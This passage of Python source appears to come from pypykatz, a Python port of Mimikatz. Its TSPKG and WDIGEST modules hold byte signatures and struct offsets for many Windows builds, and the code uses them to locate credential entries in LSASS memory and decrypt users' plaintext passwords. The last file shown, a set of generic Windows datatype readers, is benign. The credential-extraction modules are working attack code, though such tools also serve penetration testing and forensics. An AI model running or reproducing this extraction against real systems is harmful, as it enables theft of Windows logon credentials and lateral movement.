70 | self.CredentialReferences = None | |
71 | self.LogonId = None | |
72 | self.unk0 = None | |
73 | self.unk1 = None | |
74 | self.unk2 = None | |
75 | self.credentials = None | |
76 | ||
77 | @staticmethod | |
78 | async def load(reader): | |
79 | res = KIWI_SSP_CREDENTIAL_LIST_ENTRY() | |
80 | res.Flink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader) | |
81 | res.Blink = await PKIWI_SSP_CREDENTIAL_LIST_ENTRY.load(reader) | |
82 | res.References = await ULONG.loadvalue(reader) | |
83 | res.CredentialReferences = await ULONG.loadvalue(reader) | |
84 | res.LogonId = await LUID.loadvalue(reader) | |
85 | res.unk0 = await ULONG.loadvalue(reader) | |
86 | res.unk1 = await ULONG.loadvalue(reader) | |
87 | res.unk2 = await ULONG.loadvalue(reader) | |
88 | await reader.align() | |
89 | res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) | |
90 | return res⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | import json | |
7 | from pypykatz import logger | |
8 | ||
9 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
10 | from pypykatz.alsadecryptor.win_datatypes import PRTL_AVL_TABLE | |
11 | ||
12 | class TspkgCredential: | |
13 | def __init__(self): | |
14 | self.credtype = 'tspkg' | |
15 | self.username = None | |
16 | self.domainname = None | |
17 | self.password = None | |
18 | self.luid = None | |
19 | ||
20 | def to_dict(self): | |
21 | t = {} | |
22 | t['credtype'] = self.credtype | |
23 | t['username'] = self.username | |
24 | t['domainname'] = self.domainname | |
25 | t['password'] = self.password | |
26 | t['luid'] = self.luid | |
27 | return t | |
28 | def to_json(self): | |
29 | return json.dumps(self.to_dict()) | |
30 | ||
31 | def __str__(self): | |
32 | t = '\t== TSPKG [%x]==\n' % self.luid | |
33 | t += '\t\tusername %s\n' % self.username | |
34 | t += '\t\tdomainname %s\n' % self.domainname | |
35 | t += '\t\tpassword %s\n' % self.password | |
36 | return t | |
37 | ||
38 | class TspkgDecryptor(PackageDecryptor): | |
39 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
40 | super().__init__('Tspkg', lsa_decryptor, sysinfo, reader) | |
41 | self.decryptor_template = decryptor_template | |
42 | self.credentials = [] | |
43 | ||
44 | ||
45 | async def find_first_entry(self): | |
46 | position = await self.find_signature('TSpkg.dll',self.decryptor_template.signature) | |
47 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.avl_offset) | |
48 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
49 | return ptr_entry, ptr_entry_loc | |
50 | ||
51 | async def start(self): | |
52 | try: | |
53 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
54 | except Exception as e: | |
55 | self.log('Failed to find structs! Reason: %s' % e) | |
56 | return | |
57 | result_ptr_list = [] | |
58 | await self.reader.move(entry_ptr_value) | |
59 | try: | |
60 | ptable = await PRTL_AVL_TABLE.load(self.reader) | |
61 | start_node = await ptable.read(self.reader) | |
62 | except Exception as e: | |
63 | logger.error('Failed to prcess TSPKG package! Reason: %s' % e) | |
64 | return | |
65 | await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) | |
66 | for ptr in result_ptr_list: | |
67 | await self.log_ptr(ptr, self.decryptor_template.credential_struct.__name__) | |
68 | await self.reader.move(ptr) | |
69 | credential_struct = await self.decryptor_template.credential_struct.load(self.reader) | |
70 | primary_credential = await credential_struct.pTsPrimary.read(self.reader) | |
71 | if not primary_credential is None: | |
72 | c = TspkgCredential() | |
73 | c.luid = credential_struct.LocallyUniqueIdentifier | |
74 | #c.username = primary_credential.credentials.UserName.read_string(self.reader) | |
75 | #c.domainname = primary_credential.credentials.Domaine.read_string(self.reader) | |
76 | #### the above two lines will be switched, because it seems that username and domainname is always switched in this package. | |
77 | #### reason is beyond me... | |
78 | ||
79 | c.domainname = await primary_credential.credentials.UserName.read_string(self.reader) | |
80 | c.username = await primary_credential.credentials.Domaine.read_string(self.reader) | |
81 | ||
82 | if primary_credential.credentials.Password.Length != 0: | |
83 | enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader) | |
84 | if c.username.endswith('$') is True: | |
85 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
86 | if c.password is not None: | |
87 | c.password = c.password.hex() | |
88 | else: | |
89 | c.password = self.decrypt_password(enc_data) | |
90 | ||
91 | self.credentials.append(c)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | #import io | |
7 | #from minidump.win_datatypes import * | |
8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild | |
9 | from pypykatz.alsadecryptor.win_datatypes import KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, PVOID, LUID | |
10 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
11 | ||
12 | class TspkgTemplate(PackageTemplate): | |
13 | def __init__(self): | |
14 | super().__init__('Tspkg') | |
15 | self.signature = None | |
16 | self.avl_offset = None | |
17 | self.credential_struct = None | |
18 | ||
19 | @staticmethod | |
20 | def get_template(sysinfo): | |
21 | template = TspkgTemplate() | |
22 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
23 | template.signature = b'\x48\x83\xec\x20\x48\x8d\x0d' | |
24 | template.avl_offset = 7 | |
25 | ||
26 | if sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: | |
27 | template.credential_struct = KIWI_TS_CREDENTIAL_x64 | |
28 | ||
29 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: | |
30 | template.credential_struct = KIWI_TS_CREDENTIAL_1607_x64 | |
31 | ||
32 | else: | |
33 | #currently this doesnt make sense, but keeping it here for future use | |
34 | raise Exception('Could not identify template! Architecture: %s Buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
35 | ||
36 | ||
37 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
38 | if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
39 | template.signature = b'\x8b\xff\x55\x8b\xec\x51\x56\xbe' | |
40 | template.avl_offset = 8 | |
41 | template.credential_struct = KIWI_TS_CREDENTIAL | |
42 | ||
43 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
44 | template.signature = b'\x8b\xff\x53\xbb' | |
45 | template.avl_offset = 4 | |
46 | template.credential_struct = KIWI_TS_CREDENTIAL | |
47 | ||
48 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value: | |
49 | template.signature = b'\x8b\xff\x57\xbf' | |
50 | template.avl_offset = 4 | |
51 | template.credential_struct = KIWI_TS_CREDENTIAL | |
52 | ||
53 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value: | |
54 | template.signature = b'\x8b\xff\x57\xbf' | |
55 | template.avl_offset = 4 | |
56 | template.credential_struct = KIWI_TS_CREDENTIAL_1607 | |
57 | ||
58 | else: | |
59 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) | |
60 | ||
61 | template.log_template('credential_struct', template.credential_struct) | |
62 | ||
63 | return template | |
64 | ||
65 | ||
66 | class PKIWI_TS_PRIMARY_CREDENTIAL(POINTER): | |
67 | def __init__(self): | |
68 | super().__init__() | |
69 | ||
70 | @staticmethod | |
71 | async def load(reader): | |
72 | p = PKIWI_TS_PRIMARY_CREDENTIAL() | |
73 | p.location = reader.tell() | |
74 | p.value = await reader.read_uint() | |
75 | p.finaltype = KIWI_TS_PRIMARY_CREDENTIAL | |
76 | return p | |
77 | ||
78 | class KIWI_TS_PRIMARY_CREDENTIAL: | |
79 | def __init__(self): | |
80 | self.unk0 = None | |
81 | self.credentials = None | |
82 | ||
83 | @staticmethod | |
84 | async def load(reader): | |
85 | res = KIWI_TS_PRIMARY_CREDENTIAL() | |
86 | res.unk0 = await PVOID.load(reader) # // lock ? | |
87 | res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) | |
88 | return res | |
89 | ||
90 | ||
91 | class KIWI_TS_CREDENTIAL: | |
92 | def __init__(self,): | |
93 | self.unk0 = None | |
94 | self.LocallyUniqueIdentifier = None | |
95 | self.unk1 = None | |
96 | self.unk2 = None | |
97 | self.pTsPrimary = None | |
98 | ||
99 | @staticmethod | |
100 | async def load(reader): | |
101 | res = KIWI_TS_CREDENTIAL() | |
102 | res.unk0 = await reader.read(64) | |
103 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
104 | await reader.align() | |
105 | res.unk1 = await PVOID.load(reader) | |
106 | res.unk2 = await PVOID.load(reader) | |
107 | res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) | |
108 | return res | |
109 | ||
110 | class KIWI_TS_CREDENTIAL_x64: | |
111 | def __init__(self): | |
112 | self.unk0 = None | |
113 | self.LocallyUniqueIdentifier = None | |
114 | self.unk1 = None | |
115 | self.unk2 = None | |
116 | self.pTsPrimary = None | |
117 | ||
118 | @staticmethod | |
119 | async def load(reader): | |
120 | res = KIWI_TS_CREDENTIAL_x64() | |
121 | res.unk0 = await reader.read(108) | |
122 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
123 | await reader.align() | |
124 | res.unk1 = await PVOID.load(reader) | |
125 | res.unk2 = await PVOID.load(reader) | |
126 | res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) | |
127 | return res | |
128 | ||
129 | class KIWI_TS_CREDENTIAL_1607: | |
130 | def __init__(self): | |
131 | self.unk0 = None | |
132 | self.LocallyUniqueIdentifier = None | |
133 | self.unk1 = None | |
134 | self.unk2 = None | |
135 | self.pTsPrimary = None | |
136 | ||
137 | @staticmethod | |
138 | async def load(reader): | |
139 | res = KIWI_TS_CREDENTIAL_1607() | |
140 | res.unk0 = await reader.read(68) | |
141 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
142 | await reader.align() | |
143 | res.unk1 = await PVOID.load(reader) | |
144 | res.unk2 = await PVOID.load(reader) | |
145 | res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) | |
146 | return res | |
147 | ||
148 | ||
149 | class KIWI_TS_CREDENTIAL_1607_x64: | |
150 | def __init__(self): | |
151 | self.unk0 = None | |
152 | self.LocallyUniqueIdentifier = None | |
153 | self.unk1 = None | |
154 | self.unk2 = None | |
155 | self.pTsPrimary = None | |
156 | ||
157 | @staticmethod | |
158 | async def load(reader): | |
159 | res = KIWI_TS_CREDENTIAL_1607_x64() | |
160 | res.unk0 = await reader.read(112) | |
161 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
162 | await reader.align() | |
163 | res.unk1 = await PVOID.load(reader) | |
164 | res.unk2 = await PVOID.load(reader) | |
165 | res.pTsPrimary = await PKIWI_TS_PRIMARY_CREDENTIAL.load(reader) | |
166 | return res⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | import json | |
7 | ||
8 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
9 | from pypykatz.alsadecryptor.win_datatypes import LSA_UNICODE_STRING | |
10 | ||
11 | class WdigestCredential: | |
12 | def __init__(self): | |
13 | self.credtype = 'wdigest' | |
14 | self.username = None | |
15 | self.domainname = None | |
16 | self.password = None | |
17 | self.luid = None | |
18 | ||
19 | def to_dict(self): | |
20 | t = {} | |
21 | t['credtype'] = self.credtype | |
22 | t['username'] = self.username | |
23 | t['domainname'] = self.domainname | |
24 | t['password'] = self.password | |
25 | t['luid'] = self.luid | |
26 | return t | |
27 | def to_json(self): | |
28 | return json.dumps(self.to_dict()) | |
29 | ||
30 | def __str__(self): | |
31 | t = '\t== WDIGEST [%x]==\n' % self.luid | |
32 | t += '\t\tusername %s\n' % self.username | |
33 | t += '\t\tdomainname %s\n' % self.domainname | |
34 | t += '\t\tpassword %s\n' % self.password | |
35 | return t | |
36 | ||
37 | class WdigestDecryptor(PackageDecryptor): | |
38 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
39 | super().__init__('Wdigest', lsa_decryptor, sysinfo, reader) | |
40 | self.decryptor_template = decryptor_template | |
41 | self.credentials = [] | |
42 | ||
43 | async def find_first_entry(self): | |
44 | position = await self.find_signature('wdigest.dll',self.decryptor_template.signature) | |
45 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
46 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
47 | return ptr_entry, ptr_entry_loc | |
48 | ||
49 | async def add_entry(self, wdigest_entry): | |
50 | """ | |
51 | Changed the wdigest parsing, the struct only contains the pointers in the linked list, the actual data is read by | |
52 | adding an offset to the current entry's position | |
53 | """ | |
54 | wc = WdigestCredential() | |
55 | wc.luid = wdigest_entry.luid | |
56 | ||
57 | #input(wdigest_entry.this_entry.value) | |
58 | await self.reader.move(wdigest_entry.this_entry.value + self.decryptor_template.primary_offset) | |
59 | UserName = await LSA_UNICODE_STRING.load(self.reader) | |
60 | DomainName = await LSA_UNICODE_STRING.load(self.reader) | |
61 | Password = await LSA_UNICODE_STRING.load(self.reader) | |
62 | ||
63 | wc.username = await UserName.read_string(self.reader) | |
64 | wc.domainname = await DomainName.read_string(self.reader) | |
65 | wc.encrypted_password = await Password.read_maxdata(self.reader) | |
66 | if wc.username.endswith('$') is True: | |
67 | wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
68 | if wc.password is not None: | |
69 | wc.password = wc.password.hex() | |
70 | else: | |
71 | wc.password = self.decrypt_password(wc.encrypted_password) | |
72 | ||
73 | if wc.username == '' and wc.domainname == '' and wc.password is None: | |
74 | return | |
75 | ||
76 | self.credentials.append(wc) | |
77 | ||
78 | async def start(self): | |
79 | try: | |
80 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
81 | except Exception as e: | |
82 | self.log('Failed to find Wdigest structs! Reason: %s' % e) | |
83 | return | |
84 | await self.reader.move(entry_ptr_loc) | |
85 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) | |
86 | await self.walk_list(entry_ptr, self.add_entry)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | #import io | |
7 | #from minidump.win_datatypes import * | |
8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild | |
9 | from pypykatz.alsadecryptor.win_datatypes import LUID, ULONG, POINTER | |
10 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
11 | ||
12 | class WdigestTemplate(PackageTemplate): | |
13 | def __init__(self): | |
14 | super().__init__('Wdigest') | |
15 | self.signature = None | |
16 | self.first_entry_offset = None | |
17 | self.list_entry = None | |
18 | self.primary_offset = None | |
19 | ||
20 | @staticmethod | |
21 | def get_template(sysinfo): | |
22 | template = WdigestTemplate() | |
23 | ||
24 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
25 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
26 | template.signature = b'\x48\x3b\xda\x74' | |
27 | template.first_entry_offset = -4 | |
28 | template.primary_offset = 36 | |
29 | template.list_entry = PWdigestListEntry | |
30 | ||
31 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
32 | template.signature = b'\x48\x3b\xda\x74' | |
33 | template.first_entry_offset = -4 | |
34 | template.primary_offset = 48 | |
35 | template.list_entry = PWdigestListEntry | |
36 | ||
37 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_VISTA.value: | |
38 | template.signature = b'\x48\x3b\xd9\x74' | |
39 | template.first_entry_offset = -4 | |
40 | template.primary_offset = 48 | |
41 | template.list_entry = PWdigestListEntry | |
42 | ||
43 | else: | |
44 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
45 | ||
46 | ||
47 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
48 | if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value: | |
49 | template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' | |
50 | template.first_entry_offset = -6 | |
51 | template.primary_offset = 36 | |
52 | template.list_entry = PWdigestListEntryNT5 | |
53 | ||
54 | elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
55 | template.signature = b'\x74\x18\x8b\x4d\x08\x8b\x11' | |
56 | template.first_entry_offset = -6 | |
57 | template.primary_offset = 28 | |
58 | template.list_entry = PWdigestListEntryNT5 | |
59 | ||
60 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
61 | template.signature = b'\x74\x11\x8b\x0b\x39\x4e\x10' | |
62 | template.first_entry_offset = -6 | |
63 | template.primary_offset = 32 | |
64 | template.list_entry = PWdigestListEntry | |
65 | ||
66 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: | |
67 | template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' | |
68 | template.first_entry_offset = -4 | |
69 | template.primary_offset = 32 | |
70 | template.list_entry = PWdigestListEntry | |
71 | ||
72 | elif sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value: | |
73 | template.signature = b'\x74\x15\x8b\x0a\x39\x4e\x10' | |
74 | template.first_entry_offset = -6 | |
75 | template.primary_offset = 32 | |
76 | template.list_entry = PWdigestListEntry | |
77 | ||
78 | else: | |
79 | template.signature = b'\x74\x15\x8b\x17\x39\x56\x10' | |
80 | template.first_entry_offset = -6 | |
81 | template.primary_offset = 32 | |
82 | template.list_entry = PWdigestListEntry | |
83 | ||
84 | else: | |
85 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) | |
86 | ||
87 | template.log_template('list_entry', template.list_entry) | |
88 | return template | |
89 | ||
90 | ||
91 | class PWdigestListEntry(POINTER): | |
92 | def __init__(self): | |
93 | super().__init__() | |
94 | ||
95 | @staticmethod | |
96 | async def load(reader): | |
97 | p = PWdigestListEntry() | |
98 | p.location = reader.tell() | |
99 | p.value = await reader.read_uint() | |
100 | p.finaltype = WdigestListEntry | |
101 | return p | |
102 | ||
103 | class PWdigestListEntryNT5(POINTER): | |
104 | def __init__(self): | |
105 | super().__init__() | |
106 | ||
107 | @staticmethod | |
108 | async def load(reader): | |
109 | p = PWdigestListEntryNT5() | |
110 | p.location = reader.tell() | |
111 | p.value = await reader.read_uint() | |
112 | p.finaltype = WdigestListEntryNT5 | |
113 | return p | |
114 | ||
115 | class WdigestListEntryNT5: | |
116 | def __init__(self): | |
117 | self.Flink = None | |
118 | self.Blink = None | |
119 | self.this_entry = None | |
120 | self.usage_count = None | |
121 | self.luid = None | |
122 | ||
123 | @staticmethod | |
124 | async def load(reader): | |
125 | res = WdigestListEntryNT5() | |
126 | res.Flink = await PWdigestListEntryNT5.load(reader) | |
127 | res.Blink = await PWdigestListEntryNT5.load(reader) | |
128 | res.this_entry = await PWdigestListEntryNT5.load(reader) | |
129 | res.usage_count = await ULONG.load(reader) | |
130 | await reader.align() #8? | |
131 | res.luid = await LUID.loadvalue(reader) | |
132 | return res | |
133 | ||
134 | class WdigestListEntry: | |
135 | def __init__(self): | |
136 | self.Flink = None | |
137 | self.Blink = None | |
138 | self.usage_count = None | |
139 | self.this_entry = None | |
140 | self.luid = None | |
141 | ||
142 | @staticmethod | |
143 | async def load(reader): | |
144 | res = WdigestListEntry() | |
145 | res.Flink = await PWdigestListEntry.load(reader) | |
146 | res.Blink = await PWdigestListEntry.load(reader) | |
147 | res.usage_count = await ULONG.load(reader) | |
148 | await reader.align() #8? | |
149 | res.this_entry = await PWdigestListEntry.load(reader) | |
150 | res.luid = await LUID.loadvalue(reader) | |
151 | return res⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa383751(v=vs.85).aspx | |
7 | import enum | |
8 | ||
9 | class POINTER: | |
10 | def __init__(self): | |
11 | self.location = None | |
12 | self.value = None | |
13 | self.finaltype = None | |
14 | ||
15 | @staticmethod | |
16 | async def loadvalue(reader, finaltype = None): | |
17 | p = await POINTER.load(reader, finaltype) | |
18 | return p.value | |
19 | ||
20 | @staticmethod | |
21 | async def load(reader, finaltype): | |
22 | p = POINTER() | |
23 | p.location = reader.tell() | |
24 | p.value = await reader.read_uint() | |
25 | p.finaltype = finaltype | |
26 | return p | |
27 | ||
28 | async def read(self, reader, override_finaltype = None): | |
29 | if self.value == 0: | |
30 | return None | |
31 | pos = reader.tell() | |
32 | await reader.move(self.value) | |
33 | if override_finaltype: | |
34 | data = await override_finaltype.load(reader) | |
35 | else: | |
36 | data = await self.finaltype.load(reader) | |
37 | await reader.move(pos) | |
38 | return data | |
39 | ||
40 | async def read_raw(self, reader, size ): | |
41 | #we do not know the finaltype, just want the data | |
42 | if self.value == 0: | |
43 | return None | |
44 | pos = reader.tell() | |
45 | await reader.move(self.value) | |
46 | data = await reader.read(size) | |
47 | await reader.move(pos) | |
48 | return data | |
49 | ||
50 | class PVOID(POINTER): | |
51 | def __init__(self): | |
52 | super().__init__() #with void we cannot determine the final type | |
53 | ||
54 | @staticmethod | |
55 | async def loadvalue(reader): | |
56 | t = await PVOID.load(reader) | |
57 | return t.value | |
58 | ||
59 | @staticmethod | |
60 | async def load(reader, finaltype = None): | |
61 | p = PVOID() | |
62 | p.location = reader.tell() | |
63 | p.value = await reader.read_uint() | |
64 | p.finaltype = None | |
65 | return p | |
66 | ||
67 | class BOOL: | |
68 | def __init__(self): | |
69 | self.value = None | |
70 | ||
71 | @staticmethod | |
72 | async def loadvalue(reader): | |
73 | t = await BOOL.load(reader) | |
74 | return t.value | |
75 | ||
76 | @staticmethod | |
77 | async def load(reader): | |
78 | res = BOOL() | |
79 | t = await reader.read_uint() | |
80 | res.value = bool(t) | |
81 | return res | |
82 | ||
83 | class BOOLEAN: | |
84 | def __init__(self): | |
85 | self.value = None | |
86 | ||
87 | @staticmethod | |
88 | async def loadvalue(reader): | |
89 | t = await BOOLEAN.load(reader) | |
90 | return t.value | |
91 | ||
92 | @staticmethod | |
93 | async def load(reader): | |
94 | res = BOOLEAN() | |
95 | t = await reader.read(1) | |
96 | res.value = bool(t) | |
97 | return res | |
98 | ||
99 | class BYTE: | |
100 | def __init__(self): | |
101 | self.value = None | |
102 | ||
103 | @staticmethod | |
104 | async def loadvalue(reader): | |
105 | t = await BYTE.load(reader) | |
106 | return t.value | |
107 | ||
108 | @staticmethod | |
109 | async def load(reader): | |
110 | res = BYTE() | |
111 | t = await reader.read(1) | |
112 | res.value = t | |
113 | return res | |
114 | ||
115 | class PBYTE(POINTER): | |
116 | def __init__(self): | |
117 | super().__init__() #with void we cannot determine the final type | |
118 | ||
119 | @staticmethod | |
120 | async def load(reader): | |
121 | p = PBYTE() | |
122 | p.location = reader.tell() | |
123 | p.value = await reader.read_uint() | |
124 | p.finaltype = BYTE | |
125 | return p | |
126 | ||
127 | ||
128 | class CCHAR: | |
129 | def __init__(self): | |
130 | self.value = None | |
131 | ||
132 | @staticmethod | |
133 | async def loadvalue(reader): | |
134 | t = await CCHAR.load(reader) | |
135 | return t.value | |
136 | ||
137 | @staticmethod | |
138 | async def load(reader): | |
139 | res = CCHAR() | |
140 | t = await reader.read(1) | |
141 | res.value = t.decode('ascii') | |
142 | return res | |
143 | ||
144 | class CHAR: | |
145 | def __init__(self): | |
146 | self.value = None | |
147 | ||
148 | @staticmethod | |
149 | async def loadvalue(reader): | |
150 | t = await CHAR.load(reader) | |
151 | return t.value | |
152 | ||
153 | @staticmethod | |
154 | async def load(reader): | |
155 | res = CHAR() | |
156 | t = await reader.read(1) | |
157 | res.value = t.decode('ascii') | |
158 | return res | |
159 | ||
160 | class UCHAR: | |
161 | def __init__(self): | |
162 | self.value = None | |
163 | ||
164 | @staticmethod | |
165 | async def loadvalue(reader): | |
166 | t = await UCHAR.load(reader) | |
167 | return t.value | |
168 | ||
169 | @staticmethod | |
170 | async def load(reader): | |
171 | res = UCHAR() | |
172 | t = await reader.read(1) | |
173 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
174 | return res | |
175 | ||
176 | class WORD: | |
177 | def __init__(self): | |
178 | self.value = None | |
179 | ||
180 | @staticmethod | |
181 | async def loadvalue(reader): | |
182 | t = await WORD.load(reader) | |
183 | return t.value | |
184 | ||
185 | @staticmethod | |
186 | async def load(reader): | |
187 | res = WORD() | |
188 | t = await reader.read(2) | |
189 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
190 | return res | |
191 | ||
192 | class DWORD: | |
193 | def __init__(self): | |
194 | self.value = None | |
195 | ||
196 | @staticmethod | |
197 | async def loadvalue(reader): | |
198 | t = await DWORD.load(reader) | |
199 | return t.value | |
200 | ||
201 | @staticmethod | |
202 | async def load(reader): | |
203 | res = DWORD() | |
204 | t = await reader.read(4) | |
205 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
206 | return res | |
207 | ||
208 | class DWORDLONG: | |
209 | def __init__(self): | |
210 | self.value = None | |
211 | ||
212 | @staticmethod | |
213 | async def loadvalue(reader): | |
214 | t = await DWORDLONG.load(reader) | |
215 | return t.value | |
216 | ||
217 | @staticmethod | |
218 | async def load(reader): | |
219 | res = DWORDLONG() | |
220 | t = await reader.read(8) | |
221 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
222 | return res | |
223 | ||
224 | class DWORD_PTR(POINTER): | |
225 | def __init__(self): | |
226 | super().__init__() #with void we cannot determine the final type | |
227 | @staticmethod | |
228 | async def load(reader): | |
229 | p = DWORD_PTR() | |
230 | p.location = reader.tell() | |
231 | p.value = await reader.read_uint() | |
232 | p.finaltype = DWORD | |
233 | return p | |
234 | ||
235 | class DWORD32: | |
236 | def __init__(self): | |
237 | self.value = None | |
238 | ||
239 | @staticmethod | |
240 | async def loadvalue(reader): | |
241 | t = await DWORD32.load(reader) | |
242 | return t.value | |
243 | ||
244 | @staticmethod | |
245 | async def load(reader): | |
246 | res = DWORD32() | |
247 | t = await reader.read(4) | |
248 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
249 | return res | |
250 | ||
251 | class DWORD64: | |
252 | def __init__(self): | |
253 | self.value = None | |
254 | ||
255 | @staticmethod | |
256 | async def loadvalue(reader): | |
257 | t = await DWORD64.load(reader) | |
258 | return t.value | |
259 | ||
260 | @staticmethod | |
261 | async def load(reader): | |
262 | res = DWORD64() | |
263 | t = await reader.read(8) | |
264 | res.value = int.from_bytes(t, byteorder = 'little', signed = False) | |
265 | return res | |
266 | ||
267 | ||
268 | class HANDLE: | |
269 | def __init__(self): | |
270 | self.value = None | |
271 | ||
272 | @staticmethod | |
273 | async def loadvalue(reader): | |
274 | t = await HANDLE.load(reader) | |
275 | return t.value | |
276 | ||
277 | ||
278 | @staticmethod | |
279 | async def load(reader): | |
280 | res = HANDLE() | |
281 | res.value = await reader.read_uint() | |
282 | return res | |
283 | ||
284 | class HFILE: | |
285 | def __init__(self): | |
286 | self.value = None | |
287 | ||
288 | @staticmethod | |
289 | async def loadvalue(reader): | |
290 | t = await HFILE.load(reader) | |
291 | return t.value | |
292 | ||
293 | @staticmethod | |
294 | async def load(reader): | |
295 | res = HFILE() | |
296 | res.value = await reader.read_uint() | |
297 | return res | |
298 | ||
299 | class HINSTANCE: | |
300 | def __init__(self): | |
301 | self.value = None | |
302 | ||
303 | @staticmethod | |
304 | async def loadvalue(reader): | |
305 | t = await HINSTANCE.load(reader) | |
306 | return t.value | |
307 | ||
308 | ||
309 | @staticmethod | |
310 | async def load(reader): | |
311 | res = HINSTANCE() | |
312 | res.value = await reader.read_uint() | |
313 | return res | |
314 | ||
315 | ||
316 | class HKEY: | |
317 | def __init__(self): | |
318 | self.value = None | |
319 | ||
320 | @staticmethod | |
321 | async def loadvalue(reader): | |
322 | t = await HKEY.load(reader) | |
323 | return t.value | |
324 | ||
325 | @staticmethod | |
326 | async def load(reader): | |
327 | res = HKEY() | |
328 | res.value = await reader.read_uint() | |
329 | return res | |
330 | ||
331 | ||
332 | class HKL: | |
333 | def __init__(self): | |
334 | self.value = None | |
335 | ||
336 | @staticmethod | |
337 | async def loadvalue(reader): | |
338 | t = await HKL.load(reader) | |
339 | return t.value | |
340 | ||
341 | @staticmethod | |
342 | async def load(reader): | |
343 | res = HKL() | |
344 | res.value = await reader.read_uint() | |
345 | return res | |
346 | ||
347 | class HLOCAL: | |
348 | def __init__(self): | |
349 | self.value = None | |
350 | ||
351 | @staticmethod | |
352 | async def loadvalue(reader): | |
353 | t = await HLOCAL.load(reader) | |
354 | return t.value | |
355 | ||
356 | ||
357 | @staticmethod | |
358 | async def load(reader): | |
359 | res = HLOCAL() | |
360 | res.value = await reader.read_uint() | |
361 | return res | |
362 | ||
363 | class INT: | |
364 | def __init__(self): | |
365 | self.value = None | |
366 | ||
367 | @staticmethod | |
368 | async def loadvalue(reader): | |
369 | t = await INT.load(reader) | |
370 | return t.value | |
371 | ||
372 | @staticmethod | |
373 | async def load(reader): | |
374 | res = INT() | |
375 | res.value = await reader.read_int() | |
376 | return res | |
377 | ||
378 | ||
